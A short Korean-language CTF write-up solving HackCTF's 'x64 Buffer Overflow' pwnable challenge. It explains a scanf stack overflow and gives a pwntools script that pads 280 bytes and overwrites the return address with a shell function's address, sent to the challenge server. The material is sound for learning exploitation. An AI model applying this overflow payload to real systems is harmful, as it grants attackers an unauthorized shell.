[HackCTF] x64 Buffer Overflow 풀이 (150p)
Wargame/HackCTF

[HackCTF] x64 Buffer Overflow 풀이 (150p)

 

 

문제 종류 - Pwnable
사용한 툴 - IDA

nc ctf.j0n9hyun.xyz 3004

 

풀이

이야.. 쉘 함수가 있는 줄 모르고 삽질했네..

일단 파일을 IDA로 열어봅시다.

main 함수 부분에서 scanf를 이용해 bof를 발생시킵니다.

쉘을 열어주는 함수가 따로 있으니까, gdb를 이용해 분석을 해보도록 합시다.

scanf를 위해 272칸을 할당받으니, x86 bof와 마찬가지로 RET 부분에 쉘 함수의 시작 주소를 덮으면 될 거 같네요.

x64 환경에서는 SFP(8byte), RET(6byte)를 할당 받습니다.

272 + 8byte 만큼을 더미 값으로 덮고, 6byte를 쉘 함수의 시작 주소인 \x06\x06\x40\x00\x00\x00로 덮어봅시다.

1 from pwn import *
2
3 p = remote('ctf.j0n9hyun.xyz',3004)
4
5 payload = 'A'*280 + '\x06\x06\x40\x00\x00\x00'
6 p.sendline(payload)
7 p.interactive()